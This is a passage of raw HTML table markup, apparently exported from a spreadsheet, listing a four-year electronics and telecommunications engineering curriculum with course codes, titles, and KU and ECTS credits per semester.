102</td>\r\n  <td class=\"xl104\" width=\"234\" style=\"border-top:none;border-left:none;width:176pt;background-color:#ff6666\">Calculus_II</td>\r\n  <td class=\"xl105\" width=\"53\" style=\"border-top:none;border-left:none;width:40pt;background-color:#ff6666\">3</td>\r\n  <td class=\"xl82\" style=\"border-top:none;border-left:none;background-color:#ff6666\">6</td>\r\n  <td style=\"background-color:#ff6666\"></td>\r\n </tr>\r\n <tr height=\"24\" style=\"height:18.0pt\">\r\n  <td height=\"24\" class=\"xl81\" style=\"height:18pt;border-top:none;background-color:#ff6666\">PHSC 111</td>\r\n  <td class=\"xl104\" width=\"229\" style=\"border-top:none;border-left:none;width:172pt;background-color:#ff6666\">Physics_I</td>\r\n  <td class=\"xl105\" width=\"66\" style=\"border-top:none;border-left:none;width:50pt;background-color:#ff6666\">3</td>\r\n  <td class=\"xl82\" style=\"border-top:none;border-left:none;background-color:#ff6666\">6</td>\r\n  <td class=\"xl83\" style=\"background-color:#ff6666\">&nbsp;</td>\r\n  <td class=\"xl81\" style=\"border-top:none;background-color:#ff6666\">PHSC 112</td>\r\n  <td class=\"xl104\" width=\"234\" style=\"border-top:none;border-left:none;width:176pt;background-color:#ff6666\">Physics_II</td>\r\n  <td class=\"xl105\" width=\"53\" style=\"border-top:none;border-left:none;width:40pt;background-color:#ff6666\">3</td>\r\n  <td class=\"xl82\" style=\"border-top:none;border-left:none;background-color:#ff6666\">6</td>\r\n  <td style=\"background-color:#ff6666\"></td>\r\n </tr>\r\n <tr height=\"30\" style=\"height:22.5pt\">\r\n  <td height=\"30\" class=\"xl81\" style=\"height:22.5pt;border-top:none;background-color:#ff6666\">ENGL 101</td>\r\n  <td class=\"xl104\" width=\"229\" style=\"border-top:none;border-left:none;width:172pt;background-color:#ff6666\">English\r\n  Foundations_I</td>\r\n  <td class=\"xl105\" width=\"66\" style=\"border-top:none;border-left:none;width:50pt;background-color:#ff6666\">4</td>\r\n  <td class=\"xl82\" style=\"border-top:none;border-left:none;background-color:#ff6666\">8</td>\r\n  <td class=\"xl83\" style=\"background-color:#ff6666\">&nbsp;</td>\r\n  <td class=\"xl81\" style=\"border-top:none;background-color:#ff6666\">ENGL 102</td>\r\n  <td class=\"xl102\" width=\"234\" style=\"border-top:none;border-left:none;width:176pt;background-color:#ff6666\">English\r\n  Foundation _II</td>\r\n  <td class=\"xl103\" width=\"53\" style=\"border-top:none;border-left:none;width:40pt;background-color:#ff6666\">4</td>\r\n  <td class=\"xl82\" style=\"border-top:none;border-left:none;background-color:#ff6666\">8</td>\r\n  <td style=\"background-color:#ff6666\"></td>\r\n </tr>\r\n <tr height=\"24\" style=\"height:18.0pt\">\r\n  <td height=\"24\" class=\"xl81\" style=\"height:18pt;border-top:none;background-color:#ff6666\">MED 315</td>\r\n  <td class=\"xl110\" width=\"229\" style=\"border-top:none;border-left:none;width:172pt;background-color:#ff6666\">&nbsp;Life Science</td>\r\n  <td class=\"xl105\" width=\"66\" style=\"border-top:none;border-left:none;width:50pt;background-color:#ff6666\">3</td>\r\n  <td class=\"xl82\" style=\"border-top:none;border-left:none;background-color:#ff6666\">6</td>\r\n  <td class=\"xl83\" style=\"background-color:#ff6666\">&nbsp;</td>\r\n  <td class=\"xl113\" style=\"border-top:none;background-color:#ff6666\">AZC 202</td>\r\n  <td class=\"xl104\" width=\"234\" style=\"border-top:none;border-left:none;width:176pt;background-color:#ff6666\">Azerbaijan\r\n  Culture</td>\r\n  <td class=\"xl105\" width=\"53\" style=\"border-top:none;border-left:none;width:40pt;background-color:#ff6666\">2</td>\r\n  <td class=\"xl82\" style=\"border-top:none;border-left:none;background-color:#ff6666\">4</td>\r\n  <td style=\"background-color:#ff6666\"></td>\r\n </tr>\r\n <tr height=\"24\" style=\"height:18.0pt\">\r\n  <td height=\"24\" class=\"xl81\" style=\"height:18pt;border-top:none;background-color:#ff6666\">&nbsp;</td>\r\n  <td class=\"xl127\" style=\"background-color:#ff6666\">&nbsp;</td>\r\n  <td class=\"xl105\" width=\"66\" style=\"border-top:none;width:50pt;background-color:#ff6666\">&nbsp;</td>\r\n  <td class=\"xl82\" style=\"border-top:none;border-left:none;background-color:#ff6666\">&nbsp;</td>\r\n  <td class=\"xl83\" style=\"background-color:#ff6666\">&nbsp;</td>\r\n  <td style=\"background-color:#ff6666\"></td>\r\n  <td class=\"xl104\" width=\"234\" style=\"border-top:none;width:176pt;background-color:#ff6666\">Social\r\n  Sciences**</td>\r\n  <td class=\"xl103\" width=\"53\" style=\"border-top:none;border-left:none;width:40pt;background-color:#ff6666\">3</td>\r\n  <td class=\"xl82\" style=\"border-top:none;border-left:none;background-color:#ff6666\">6</td>\r\n  <td style=\"background-color:#ff6666\"></td>\r\n </tr>\r\n <tr height=\"21\" style=\"height:15.75pt\">\r\n  <td height=\"21\" class=\"xl84\" style=\"height:15.75pt;border-top:none;background-color:#ff6666\">&nbsp;</td>\r\n  <td class=\"xl124\" width=\"229\" style=\"border-left:none;width:172pt;background-color:#ff6666\">Credit</td>\r\n  <td class=\"xl85\" style=\"border-top:none;border-left:none;background-color:#ff6666\">16</td>\r\n  <td class=\"xl79\" style=\"border-top:none;border-left:none;background-color:#ff6666\">32</td>\r\n  <td class=\"xl83\" style=\"background-color:#ff6666\">&nbsp;</td>\r\n  <td class=\"xl84\" style=\"background-color:#ff6666\">&nbsp;</td>\r\n  <td class=\"xl124\" width=\"234\" style=\"border-top:none;border-left:none;width:176pt;background-color:#ff6666\">Credit</td>\r\n  <td class=\"xl85\" style=\"border-top:none;border-left:none;background-color:#ff6666\">18</td>\r\n  <td class=\"xl86\" style=\"border-top:none;border-left:none;background-color:#ff6666\">36</td>\r\n  <td class=\"xl66\" style=\"background-color:#ff6666\"></td>\r\n </tr>\r\n <tr height=\"26\" style=\"height:19.5pt\">\r\n  <td height=\"26\" class=\"xl99\" style=\"height:19.5pt\">&nbsp;</td>\r\n  <td class=\"xl87\" width=\"229\" style=\"width:172pt\">&nbsp;</td>\r\n  <td class=\"xl88\">&nbsp;</td>\r\n  <td class=\"xl83\">&nbsp;</td>\r\n  <td class=\"xl83\">&nbsp;</td>\r\n  <td class=\"xl83\">&nbsp;</td>\r\n  <td class=\"xl88\">&nbsp;</td>\r\n  <td class=\"xl88\">&nbsp;</td>\r\n  <td class=\"xl88\">&nbsp;</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"27\" style=\"height:20.25pt\">\r\n  <td height=\"27\" class=\"xl129\" style=\"height:20.25pt\"></td>\r\n  <td colspan=\"8\" class=\"xl132\"><strong>2<sup>nd</sup>-Year</strong></td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"25\" style=\"height:18.75pt\">\r\n  <td height=\"25\" class=\"xl89\" style=\"height:18.75pt;background-color:#ccff33\">CODE</td>\r\n  <td class=\"xl90\" style=\"border-left:none;background-color:#ccff33\">Fall Semester</td>\r\n  <td class=\"xl115\" style=\"border-left:none;background-color:#ccff33\">KU</td>\r\n  <td class=\"xl79\" style=\"border-left:none;background-color:#ccff33\">ECTS</td>\r\n  <td class=\"xl80\" style=\"background-color:#ccff33\">&nbsp;</td>\r\n  <td class=\"xl89\" style=\"background-color:#ccff33\">CODE</td>\r\n  <td class=\"xl78\" width=\"234\" style=\"border-left:none;width:176pt;background-color:#ccff33\">Spring Semester</td>\r\n  <td class=\"xl115\" style=\"border-left:none;background-color:#ccff33\">KU</td>\r\n  <td class=\"xl79\" style=\"border-left:none;background-color:#ccff33\">ECTS</td>\r\n  <td style=\"background-color:#ccff33\"></td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl81\" style=\"height:15pt;border-top:none;background-color:#ccff33\">EENG 211</td>\r\n  <td class=\"xl106\" width=\"229\" style=\"border-top:none;border-left:none;width:172pt;background-color:#ccff33\">Circuits\r\n  Theory -1</td>\r\n  <td class=\"xl107\" style=\"border-top:none;border-left:none;background-color:#ccff33\">3</td>\r\n  <td class=\"xl91\" style=\"border-top:none;border-left:none;background-color:#ccff33\">6</td>\r\n  <td class=\"xl83\" style=\"background-color:#ccff33\">&nbsp;</td>\r\n  <td class=\"xl81\" style=\"border-top:none;background-color:#ccff33\">EENG 212</td>\r\n  <td class=\"xl106\" width=\"234\" style=\"border-top:none;border-left:none;width:176pt;background-color:#ccff33\">Circuits\r\n  Theory -2</td>\r\n  <td class=\"xl116\" width=\"53\" style=\"border-top:none;border-left:none;width:40pt;background-color:#ccff33\">3</td>\r\n  <td class=\"xl91\" style=\"border-top:none;border-left:none;background-color:#ccff33\">6</td>\r\n  <td style=\"background-color:#ccff33\"></td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl81\" style=\"height:15pt;border-top:none;background-color:#ccff33\">ENGL 216</td>\r\n  <td class=\"xl106\" width=\"229\" style=\"border-top:none;border-left:none;width:172pt;background-color:#ccff33\">ESP\r\n  Electronics Engineering</td>\r\n  <td class=\"xl107\" style=\"border-top:none;border-left:none;background-color:#ccff33\">3</td>\r\n  <td class=\"xl91\" style=\"border-top:none;border-left:none;background-color:#ccff33\">6</td>\r\n  <td class=\"xl83\" style=\"background-color:#ccff33\">&nbsp;</td>\r\n  <td class=\"xl81\" style=\"border-top:none;background-color:#ccff33\">EENG 245</td>\r\n  <td class=\"xl106\" width=\"234\" style=\"border-top:none;border-left:none;width:176pt;background-color:#ccff33\">Basic\r\n  Electronics</td>\r\n  <td class=\"xl116\" width=\"53\" style=\"border-top:none;border-left:none;width:40pt;background-color:#ccff33\">4</td>\r\n  <td class=\"xl91\" style=\"border-top:none;border-left:none;background-color:#ccff33\">8</td>\r\n  <td style=\"background-color:#ccff33\"></td>\r\n </tr>\r\n <tr height=\"39\" style=\"height:29.25pt\">\r\n  <td height=\"39\" class=\"xl81\" style=\"height:29.25pt;border-top:none;background-color:#ccff33\">CMS 115</td>\r\n  <td class=\"xl106\" width=\"229\" style=\"border-top:none;border-left:none;width:172pt;background-color:#ccff33\">Computer\r\n  Application in Engineering</td>\r\n  <td class=\"xl107\" style=\"border-top:none;border-left:none;background-color:#ccff33\">3</td>\r\n  <td class=\"xl91\" style=\"border-top:none;border-left:none;background-color:#ccff33\">6</td>\r\n  <td class=\"xl83\" style=\"background-color:#ccff33\">&nbsp;</td>\r\n  <td class=\"xl81\" style=\"border-top:none;background-color:#ccff33\">ETR 237</td>\r\n  <td class=\"xl117\" width=\"234\" style=\"border-top:none;border-left:none;width:176pt;background-color:#ccff33\">Communication\r\n  Systems</td>\r\n  <td class=\"xl107\" style=\"border-top:none;border-left:none;background-color:#ccff33\">3</td>\r\n  <td class=\"xl91\" style=\"border-top:none;border-left:none;background-color:#ccff33\">6</td>\r\n  <td style=\"background-color:#ccff33\"></td>\r\n </tr>\r\n <tr height=\"37\" style=\"height:27.75pt\">\r\n  <td height=\"37\" class=\"xl81\" style=\"height:27.75pt;border-top:none;background-color:#ccff33\">MATH 132</td>\r\n  <td class=\"xl128\" style=\"background-color:#ccff33\">Linear Algebra&nbsp;</td>\r\n  <td class=\"xl107\" style=\"border-top:none;background-color:#ccff33\">3</td>\r\n  <td class=\"xl91\" style=\"border-top:none;border-left:none;background-color:#ccff33\">6</td>\r\n  <td class=\"xl83\" style=\"background-color:#ccff33\">&nbsp;</td>\r\n  <td class=\"xl81\" style=\"border-top:none;background-color:#ccff33\">ETR 234</td>\r\n  <td class=\"xl117\" width=\"234\" style=\"border-top:none;border-left:none;width:176pt;background-color:#ccff33\">Analog\r\n  and Digital Electronics&nbsp;</td>\r\n  <td class=\"xl107\" style=\"border-top:none;border-left:none;background-color:#ccff33\">3</td>\r\n  <td class=\"xl91\" style=\"border-top:none;border-left:none;background-color:#ccff33\">6</td>\r\n  <td style=\"background-color:#ccff33\"></td>\r\n </tr>\r\n <tr height=\"39\" style=\"height:29.25pt\">\r\n  <td height=\"39\" class=\"xl81\" style=\"height:29.25pt;border-top:none;background-color:#ccff33\">&nbsp;</td>\r\n  <td class=\"xl106\" width=\"229\" style=\"border-left:none;width:172pt;background-color:#ccff33\">Social\r\n  Sciences**&nbsp;</td>\r\n  <td class=\"xl107\" style=\"border-top:none;border-left:none;background-color:#ccff33\">3</td>\r\n  <td class=\"xl91\" style=\"border-top:none;border-left:none;background-color:#ccff33\">6</td>\r\n  <td class=\"xl83\" style=\"background-color:#ccff33\">&nbsp;</td>\r\n  <td class=\"xl81\" style=\"border-top:none;background-color:#ccff33\">ETR 270</td>\r\n  <td class=\"xl106\" width=\"234\" style=\"border-top:none;border-left:none;width:176pt;background-color:#ccff33\">&nbsp;Electrical Measurements and Methods</td>\r\n  <td class=\"xl107\" style=\"border-top:none;border-left:none;background-color:#ccff33\">3</td>\r\n  <td class=\"xl91\" style=\"border-top:none;border-left:none;background-color:#ccff33\">6</td>\r\n  <td style=\"background-color:#ccff33\"></td>\r\n </tr>\r\n <tr height=\"21\" style=\"height:15.75pt\">\r\n  <td height=\"21\" class=\"xl92\" style=\"height:15.75pt;border-top:none;background-color:#ccff33\">&nbsp;</td>\r\n  <td class=\"xl123\" width=\"229\" style=\"border-top:none;border-left:none;width:172pt;background-color:#ccff33\">Credit</td>\r\n  <td class=\"xl93\" style=\"border-top:none;border-left:none;background-color:#ccff33\">15</td>\r\n  <td class=\"xl94\" style=\"border-top:none;border-left:none;background-color:#ccff33\">30</td>\r\n  <td class=\"xl80\" style=\"background-color:#ccff33\">&nbsp;</td>\r\n  <td class=\"xl92\" style=\"border-top:none;background-color:#ccff33\">&nbsp;</td>\r\n  <td class=\"xl123\" width=\"234\" style=\"border-top:none;border-left:none;width:176pt;background-color:#ccff33\">Credit</td>\r\n  <td class=\"xl93\" style=\"border-top:none;border-left:none;background-color:#ccff33\">16</td>\r\n  <td class=\"xl94\" style=\"border-top:none;border-left:none;background-color:#ccff33\">32</td>\r\n  <td style=\"background-color:#ccff33\"></td>\r\n </tr>\r\n <tr height=\"30\" style=\"height:22.5pt\">\r\n  <td height=\"30\" class=\"xl99\" style=\"height:22.5pt\">&nbsp;</td>\r\n  <td class=\"xl87\" width=\"229\" style=\"width:172pt\">&nbsp;</td>\r\n  <td class=\"xl88\">&nbsp;</td>\r\n  <td class=\"xl83\">&nbsp;</td>\r\n  <td class=\"xl83\">&nbsp;</td>\r\n  <td class=\"xl83\">&nbsp;</td>\r\n  <td class=\"xl88\">&nbsp;</td>\r\n  <td class=\"xl88\">&nbsp;</td>\r\n  <td class=\"xl88\">&nbsp;</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"27\" style=\"height:20.25pt\">\r\n  <td height=\"27\" class=\"xl129\" style=\"height:20.25pt\"></td>\r\n  <td colspan=\"8\" class=\"xl132\"><strong>3<sup>rd</sup>-Year</strong></td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"21\" style=\"height:15.75pt\">\r\n  <td height=\"21\" class=\"xl89\" style=\"height:15.75pt;background-color:#33ccff\">CODE</td>\r\n  <td class=\"xl90\" style=\"border-left:none;background-color:#33ccff\">Fall Semester</td>\r\n  <td class=\"xl119\" style=\"border-left:none;background-color:#33ccff\">KU</td>\r\n  <td class=\"xl79\" style=\"border-left:none;background-color:#33ccff\">ECTS</td>\r\n  <td class=\"xl80\" style=\"background-color:#33ccff\">&nbsp;</td>\r\n  <td class=\"xl89\" style=\"background-color:#33ccff\">CODE</td>\r\n  <td class=\"xl78\" width=\"234\" style=\"border-left:none;width:176pt;background-color:#33ccff\">Spring Semester</td>\r\n  <td class=\"xl119\" style=\"border-left:none;background-color:#33ccff\">KU</td>\r\n  <td class=\"xl79\" style=\"border-left:none;background-color:#33ccff\">ECTS</td>\r\n  <td style=\"background-color:#33ccff\"></td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl81\" style=\"height:15pt;border-top:none;background-color:#33ccff\">ETR 359</td>\r\n  <td class=\"xl108\" width=\"229\" style=\"border-top:none;border-left:none;width:172pt;background-color:#33ccff\">Microprocessor-based\r\n  Systems</td>\r\n  <td class=\"xl109\" width=\"66\" style=\"border-top:none;border-left:none;width:50pt;background-color:#33ccff\">3</td>\r\n  <td class=\"xl91\" style=\"border-top:none;border-left:none;background-color:#33ccff\">6</td>\r\n  <td class=\"xl83\" style=\"background-color:#33ccff\">&nbsp;</td>\r\n  <td class=\"xl81\" style=\"border-top:none;background-color:#33ccff\">ETR 385</td>\r\n  <td class=\"xl108\" width=\"234\" style=\"border-top:none;border-left:none;width:176pt;background-color:#33ccff\">Designing\r\n  Radio Electronic Devices</td>\r\n  <td class=\"xl109\" width=\"53\" style=\"border-top:none;border-left:none;width:40pt;background-color:#33ccff\">3</td>\r\n  <td class=\"xl91\" style=\"border-top:none;border-left:none;background-color:#33ccff\">6</td>\r\n  <td style=\"background-color:#33ccff\"></td>\r\n </tr>\r\n <tr height=\"34\" style=\"height:25.5pt\">\r\n  <td height=\"34\" class=\"xl81\" style=\"height:25.5pt;border-top:none;background-color:#33ccff\">ETR 346</td>\r\n  <td class=\"xl108\" width=\"229\" style=\"border-top:none;border-left:none;width:172pt;background-color:#33ccff\">Telecommunication\r\n  Networks</td>\r\n  <td class=\"xl109\" width=\"66\" style=\"border-top:none;border-left:none;width:50pt;background-color:#33ccff\">3</td>\r\n  <td class=\"xl91\" style=\"border-top:none;border-left:none;background-color:#33ccff\">6</td>\r\n  <td class=\"xl83\" style=\"background-color:#33ccff\">&nbsp;</td>\r\n  <td class=\"xl81\" style=\"border-top:none;background-color:#33ccff\">ETR 375</td>\r\n  <td class=\"xl108\" width=\"234\" style=\"border-top:none;border-left:none;width:176pt;background-color:#33ccff\">Theory\r\n  of Reception, Processing and Transmission of Images&nbsp;</td>\r\n  <td class=\"xl109\" width=\"53\" style=\"border-top:none;border-left:none;width:40pt;background-color:#33ccff\">3</td>\r\n  <td class=\"xl91\" style=\"border-top:none;border-left:none;background-color:#33ccff\">6</td>\r\n  <td style=\"background-color:#33ccff\"></td>\r\n </tr>\r\n <tr height=\"35\" style=\"height:26.25pt\">\r\n  <td height=\"35\" class=\"xl81\" style=\"height:26.25pt;border-top:none;background-color:#33ccff\">ETR 393</td>\r\n  <td class=\"xl108\" width=\"229\" style=\"border-top:none;border-left:none;width:172pt;background-color:#33ccff\">Basics\r\n  of Circuitry</td>\r\n  <td class=\"xl118\" style=\"border-top:none;border-left:none;background-color:#33ccff\">3</td>\r\n  <td class=\"xl91\" style=\"border-top:none;border-left:none;background-color:#33ccff\">6</td>\r\n  <td class=\"xl83\" style=\"background-color:#33ccff\">&nbsp;</td>\r\n  <td class=\"xl81\" style=\"border-top:none;background-color:#33ccff\">CIV 215</td>\r\n  <td class=\"xl108\" width=\"234\" style=\"border-top:none;border-left:none;width:176pt;background-color:#33ccff\">Engineering\r\n  Drawing</td>\r\n  <td class=\"xl109\" width=\"53\" style=\"border-top:none;border-left:none;width:40pt;background-color:#33ccff\">3</td>\r\n  <td class=\"xl91\" style=\"border-top:none;border-left:none;background-color:#33ccff\">6</td>\r\n  <td style=\"background-color:#33ccff\"></td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl81\" style=\"height:15pt;border-top:none;background-color:#33ccff\">&nbsp;</td>\r\n  <td class=\"xl108\" width=\"229\" style=\"border-top:none;border-left:none;width:172pt;background-color:#33ccff\">Elective\r\n  (major)***</td>\r\n  <td class=\"xl118\" style=\"border-top:none;border-left:none;background-color:#33ccff\">3</td>\r\n  <td class=\"xl91\" style=\"border-top:none;border-left:none;background-color:#33ccff\">6</td>\r\n  <td class=\"xl83\" style=\"background-color:#33ccff\">&nbsp;</td>\r\n  <td style=\"background-color:#33ccff\"></td>\r\n  <td class=\"xl108\" width=\"234\" style=\"border-top:none;width:176pt;background-color:#33ccff\">Elective\r\n  (major)***</td>\r\n  <td class=\"xl109\" width=\"53\" style=\"border-top:none;border-left:none;width:40pt;background-color:#33ccff\">3</td>\r\n  <td class=\"xl91\" style=\"border-top:none;border-left:none;background-color:#33ccff\">6</td>\r\n  <td style=\"background-color:#33ccff\"></td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl81\" style=\"height:15pt;border-top:none;background-color:#33ccff\">&nbsp;</td>\r\n  <td class=\"xl108\" width=\"229\" style=\"border-top:none;border-left:none;width:172pt;background-color:#33ccff\">Humanity*</td>\r\n  <td class=\"xl109\" width=\"66\" style=\"border-top:none;border-left:none;width:50pt;background-color:#33ccff\">3</td>\r\n  <td class=\"xl91\" style=\"border-top:none;border-left:none;background-color:#33ccff\">6</td>\r\n  <td class=\"xl83\" style=\"background-color:#33ccff\">&nbsp;</td>\r\n  <td class=\"xl81\" style=\"background-color:#33ccff\">&nbsp;</td>\r\n  <td class=\"xl108\" width=\"234\" style=\"border-top:none;border-left:none;width:176pt;background-color:#33ccff\">Humanity*</td>\r\n  <td class=\"xl109\" width=\"53\" style=\"border-top:none;border-left:none;width:40pt;background-color:#33ccff\">3</td>\r\n  <td class=\"xl91\" style=\"border-top:none;border-left:none;background-color:#33ccff\">6</td>\r\n  <td style=\"background-color:#33ccff\"></td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl81\" style=\"height:15pt;border-top:none;background-color:#33ccff\">&nbsp;</td>\r\n  <td class=\"xl108\" width=\"229\" style=\"border-top:none;border-left:none;width:172pt;background-color:#33ccff\">&nbsp;</td>\r\n  <td class=\"xl118\" style=\"border-top:none;border-left:none;background-color:#33ccff\">&nbsp;</td>\r\n  <td class=\"xl91\" style=\"border-top:none;border-left:none;background-color:#33ccff\">&nbsp;</td>\r\n  <td class=\"xl83\" style=\"background-color:#33ccff\">&nbsp;</td>\r\n  <td class=\"xl81\" style=\"border-top:none;background-color:#33ccff\">ETR 395</td>\r\n  <td class=\"xl108\" width=\"234\" style=\"border-top:none;border-left:none;width:176pt;background-color:#33ccff\">Summer\r\n  Internship</td>\r\n  <td class=\"xl109\" width=\"53\" style=\"border-top:none;border-left:none;width:40pt;background-color:#33ccff\">3</td>\r\n  <td class=\"xl91\" style=\"border-top:none;border-left:none;background-color:#33ccff\">6</td>\r\n  <td style=\"background-color:#33ccff\"></td>\r\n </tr>\r\n <tr height=\"21\" style=\"height:15.75pt\">\r\n  <td height=\"21\" class=\"xl81\" style=\"height:15.75pt;border-top:none;background-color:#33ccff\">&nbsp;</td>\r\n  <td class=\"xl122\" width=\"229\" style=\"border-top:none;border-left:none;width:172pt;background-color:#33ccff\">Credit</td>\r\n  <td class=\"xl93\" style=\"border-top:none;border-left:none;background-color:#33ccff\">15</td>\r\n  <td class=\"xl94\" style=\"border-top:none;border-left:none;background-color:#33ccff\">30</td>\r\n  <td class=\"xl83\" style=\"background-color:#33ccff\">&nbsp;</td>\r\n  <td class=\"xl92\" style=\"border-top:none;background-color:#33ccff\">&nbsp;</td>\r\n  <td class=\"xl122\" width=\"234\" style=\"border-top:none;border-left:none;width:176pt;background-color:#33ccff\">Credit</td>\r\n  <td class=\"xl93\" style=\"border-top:none;border-left:none;background-color:#33ccff\">18</td>\r\n  <td class=\"xl94\" style=\"border-top:none;border-left:none;background-color:#33ccff\">36</td>\r\n  <td style=\"background-color:#33ccff\"></td>\r\n </tr>\r\n <tr height=\"33\" style=\"height:24.75pt\">\r\n  <td height=\"33\" class=\"xl99\" style=\"height:24.75pt\">&nbsp;</td>\r\n  <td class=\"xl87\" width=\"229\" style=\"width:172pt\">&nbsp;</td>\r\n  <td class=\"xl88\">&nbsp;</td>\r\n  <td class=\"xl83\">&nbsp;</td>\r\n  <td class=\"xl83\">&nbsp;</td>\r\n  <td class=\"xl83\">&nbsp;</td>\r\n  <td class=\"xl88\">&nbsp;</td>\r\n  <td class=\"xl88\">&nbsp;</td>\r\n  <td class=\"xl88\">&nbsp;</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"27\" style=\"height:20.25pt\">\r\n  <td height=\"27\" class=\"xl129\" style=\"height:20.25pt\"></td>\r\n  <td colspan=\"8\" class=\"xl132\"><strong>4<sup>th</sup>-Year</strong></td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"21\" style=\"height:15.75pt\">\r\n  <td height=\"21\" class=\"xl89\" style=\"height:15.75pt;background-color:#ff99ff\">CODE</td>\r\n  <td class=\"xl90\" style=\"border-left:none;background-color:#ff99ff\">Fall Semester</td>\r\n  <td class=\"xl95\" style=\"border-left:none;background-color:#ff99ff\">KU</td>\r\n  <td class=\"xl79\" style=\"border-left:none;background-color:#ff99ff\">ECTS</td>\r\n  <td class=\"xl80\" style=\"background-color:#ff99ff\">&nbsp;</td>\r\n  <td class=\"xl89\" style=\"background-color:#ff99ff\">CODE</td>\r\n  <td class=\"xl78\" width=\"234\" style=\"border-left:none;width:176pt;background-color:#ff99ff\">Spring Semester</td>\r\n  <td class=\"xl95\" style=\"border-left:none;background-color:#ff99ff\">KU</td>\r\n  <td class=\"xl79\" style=\"border-left:none;background-color:#ff99ff\">ECTS</td>\r\n  <td style=\"background-color:#ff99ff\"></td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl81\" style=\"height:15pt;border-top:none;background-color:#ff99ff\">ETR 408</td>\r\n  <td class=\"xl67\" width=\"229\" style=\"border-top:none;border-left:none;width:172pt;background-color:#ff99ff\">Electrodynamics</td>\r\n  <td class=\"xl68\" width=\"66\" style=\"border-top:none;border-left:none;width:50pt;background-color:#ff99ff\">3</td>\r\n  <td class=\"xl91\" style=\"border-top:none;border-left:none;background-color:#ff99ff\">6</td>\r\n  <td class=\"xl83\" style=\"background-color:#ff99ff\">&nbsp;</td>\r\n  <td class=\"xl81\" style=\"border-top:none;background-color:#ff99ff\">ETR 482</td>\r\n  <td class=\"xl126\" width=\"234\" style=\"border-top:none;border-left:none;width:176pt;background-color:#ff99ff\">Electronic\r\n  Systems and Technologies</td>\r\n  <td class=\"xl68\" width=\"53\" style=\"border-top:none;border-left:none;width:40pt;background-color:#ff99ff\">3</td>\r\n  <td class=\"xl91\" style=\"border-top:none;border-left:none;background-color:#ff99ff\">6</td>\r\n  <td style=\"background-color:#ff99ff\"></td>\r\n </tr>\r\n <tr height=\"34\" style=\"height:25.5pt\">\r\n  <td height=\"34\" class=\"xl81\" style=\"height:25.5pt;border-top:none;background-color:#ff99ff\">ENV 305</td>\r\n  <td class=\"xl67\" width=\"229\" style=\"border-top:none;border-left:none;width:172pt;background-color:#ff99ff\">HS&amp;E</td>\r\n  <td class=\"xl68\" width=\"66\" style=\"border-top:none;border-left:none;width:50pt;background-color:#ff99ff\">3</td>\r\n  <td class=\"xl91\" style=\"border-top:none;border-left:none;background-color:#ff99ff\">6</td>\r\n  <td class=\"xl83\" style=\"background-color:#ff99ff\">&nbsp;</td>\r\n  <td class=\"xl81\" style=\"border-top:none;background-color:#ff99ff\">ETR 476</td>\r\n  <td class=\"xl126\" width=\"234\" style=\"border-top:none;border-left:none;width:176pt;background-color:#ff99ff\">Radio\r\n  Transmitting and Antenna Devices&nbsp;</td>\r\n  <td class=\"xl68\" width=\"53\" style=\"border-top:none;border-left:none;width:40pt;background-color:#ff99ff\">3</td>\r\n  <td class=\"xl91\" style=\"border-top:none;border-left:none;background-color:#ff99ff\">6</td>\r\n  <td style=\"background-color:#ff99ff\"></td>\r\n </tr>\r\n <tr height=\"38\" style=\"height:28.5pt\">\r\n  <td height=\"38\" class=\"xl81\" style=\"height:28.5pt;border-top:none;background-color:#ff99ff\">ETR 401</td>\r\n  <td class=\"xl67\" width=\"229\" style=\"border-top:none;border-left:none;width:172pt;background-color:#ff99ff\">Wireless\r\n  Communication Technology</td>\r\n  <td class=\"xl68\" width=\"66\" style=\"border-top:none;border-left:none;width:50pt;background-color:#ff99ff\">3</td>\r\n  <td class=\"xl91\" style=\"border-top:none;border-left:none;background-color:#ff99ff\">6</td>\r\n  <td class=\"xl83\" style=\"background-color:#ff99ff\">&nbsp;</td>\r\n  <td class=\"xl81\" style=\"border-top:none;background-color:#ff99ff\">ETR 487</td>\r\n  <td class=\"xl67\" width=\"234\" style=\"border-top:none;border-left:none;width:176pt;background-color:#ff99ff\">Electric\r\n  Communication Theory</td>\r\n  <td class=\"xl68\" width=\"53\" style=\"border-top:none;border-left:none;width:40pt;background-color:#ff99ff\">3</td>\r\n  <td class=\"xl91\" style=\"border-top:none;border-left:none;background-color:#ff99ff\">6</td>\r\n  <td style=\"background-color:#ff99ff\"></td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl81\" style=\"height:15pt;border-top:none;background-color:#ff99ff\">ETR 466</td>\r\n  <td class=\"xl67\" width=\"229\" style=\"border-top:none;border-left:none;width:172pt;background-color:#ff99ff\">Electrical\r\n  Power Supply</td>\r\n  <td class=\"xl68\" width=\"66\" style=\"border-top:none;border-left:none;width:50pt;background-color:#ff99ff\">3</td>\r\n  <td class=\"xl91\" style=\"border-top:none;border-left:none;background-color:#ff99ff\">6</td>\r\n  <td class=\"xl83\" style=\"background-color:#ff99ff\">&nbsp;</td>\r\n  <td class=\"xl81\" style=\"border-top:none;background-color:#ff99ff\">&nbsp;</td>\r\n  <td class=\"xl67\" width=\"234\" style=\"border-top:none;border-left:none;width:176pt;background-color:#ff99ff\">Elective\r\n  (major)***</td>\r\n  <td class=\"xl68\" width=\"53\" style=\"border-top:none;border-left:none;width:40pt;background-color:#ff99ff\">3</td>\r\n  <td class=\"xl91\" style=\"border-top:none;border-left:none;background-color:#ff99ff\">6</td>\r\n  <td style=\"background-color:#ff99ff\"></td>\r\n </tr>\r\n <tr height=\"20\" 